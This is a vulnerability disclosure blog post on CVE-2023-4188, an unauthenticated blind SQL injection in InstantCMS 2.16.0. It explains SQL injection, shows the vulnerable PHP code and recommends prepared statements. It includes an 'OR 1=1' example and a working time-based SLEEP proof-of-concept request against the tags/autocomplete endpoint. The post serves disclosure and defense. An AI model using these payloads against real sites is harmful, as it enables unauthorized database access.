Blind SQL Injection (CVE-2023-4188)

Blind SQL Injection (CVE-2023-4188)

Blind SQL injection

Introduction

Structured Query Language (SQL) is a language used to interact with databases, usually to store or modify the data kept within the database table. The following code snippet is a typical SQL query to retrieve the number of users in an application in PHP.

<?php

$conn = mysqli_connect("localhost", $dbUser, $dbPassword, $dbName);
if(!$conn) { die("Could not connect: " . mysqli_error()); }

$result = mysqli_query($conn, "SELECT username FROM users");
printf("Select returned %d rows.\n", mysqli_num_rows($result));
[...Snipped...]

Often, user input would need to be included in the SQL statements as part of the use case. However, when these statements do not handle user input properly, one security issue it could lead to would be SQL injection. 

An SQL injection is a vulnerability where a malicious user submits specifically crafted input to the target application to make unauthorized database queries. Consider the following SQL query used for a search function with user input.

$sql = "SELECT * FROM items WHERE name LIKE '%$s%'";
$result = mysqli_query($conn, $sql);

The “$s” variable is inserted directly into the statement without any validation, a malicious user would be able to insert a search query (highlighted in red) such that the statement would turn into the following.

$sql = "SELECT * FROM items WHERE name LIKE '%' OR 1=1 -- %'";

The resulting statement would then return all possible results in the table since “1=1” would always evaluate to true. This example is just one variant and the most basic example among the different types of SQL injection. 

Blind SQL injection is a variant of SQL injection where no direct results or errors are returned in the response. Depending on the nature of the injection, there are other ways to extract information from the database if the vulnerability exists, but most techniques involve conditionally triggering a detectable behavior depending on the truth of a single condition in the statement. Below are some examples of easily detectable behavior.

  • Difference in response returned such as no results or a single result.
  • Triggering intentional errors such as when dividing by zero.
  • Triggering a significant enough time delay.
  • Triggering an Out-of-Band network interaction such as via DNS or other channels.

InstantCMS is a free open-source Content Management System (CMS) which allows building of websites for any purpose. In version 2.16.0, there is an unauthenticated blind SQL injection vulnerability present in the “term” parameter in the “tags/autocomplete” page.

CVE-2023-4188

TitleBlind SQL Injection
Software VersionICMS2 2.16.0 (https://github.com/instantsoft/icms2)
ImpactCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N – 9.1 (Critical)
Reported2 August 2023
Reported ByDylan Chew

Proof of Concept

An unauthenticated user can make the following request which causes a 10 second delay.

GET
/tags/autocomplete?term=')+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))x)+AND+(1=' HTTP/1.1
Host: icms.local
X-Requested-With: XMLHttpRequest

As long as the “X-Requested-With: XMLHttpRequest” header-value pair is in the HTTP request headers, an unauthenticated attacker can make the request directly to inject into the affected parameter.

The root cause of this vulnerability lies in “./system/controllers/tags/actions/autocomplete.php”.

15: $term = $this->request->get('term', '');
16: if (!$term) {
17:	return $this->cms_template->renderJSON($result);
18: }
19: 
20: $tags = $this->model->filterLike('tag', "%{$term}%")->
21: select("(LEFT(`tag`, " . mb_strlen($term) . ") = '{$term}')", 'tag_order')->
22: orderByList([
23: ['by' => 'tag_order', 'to' => 'desc', 'strict' => true],
24: ['by' => 'tag', 'to' => 'asc']
25: ])->
26: getTags();

At line 15, the “term” variable is retrieved as a GET parameter and inserted into an SQL statement at line 21 without sufficient sanitization.

Impact and Remediation

The 10 second delay caused by the inserted statement shows that a malicious user would be able to interact with the database. An unauthenticated malicious user would then be able to gain unauthorized access to data or alter it using the affected parameter.

To rectify or avoid such issues, the best way would be to separate the data from the SQL such that user input is never interpreted as part of the SQL query. The method varies depending on software, but this can generally be achieved with prepared statements and parameterized queries, below is an example in PHP 8.2+.

$result = $db->
execute_query("SELECT * FROM users WHERE username = ?", [$username]);

References

Vulnerability Disclosure Details

  • https://github.com/instantsoft/icms2
  • https://huntr.com/bounties/fe9809b6-40ad-4e81-9197-a9aa42e8a7bf
  • https://nvd.nist.gov/vuln/detail/CVE-2023-4188

Further information

  • https://portswigger.net/web-security/sql-injection
  • https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

The CVE has been awarded to, and this blog post is written by Dylan Chew, Senior Consultant with Hexadius.

Table of Contents

Stay Informed

Receive our latest blogs directly in your inbox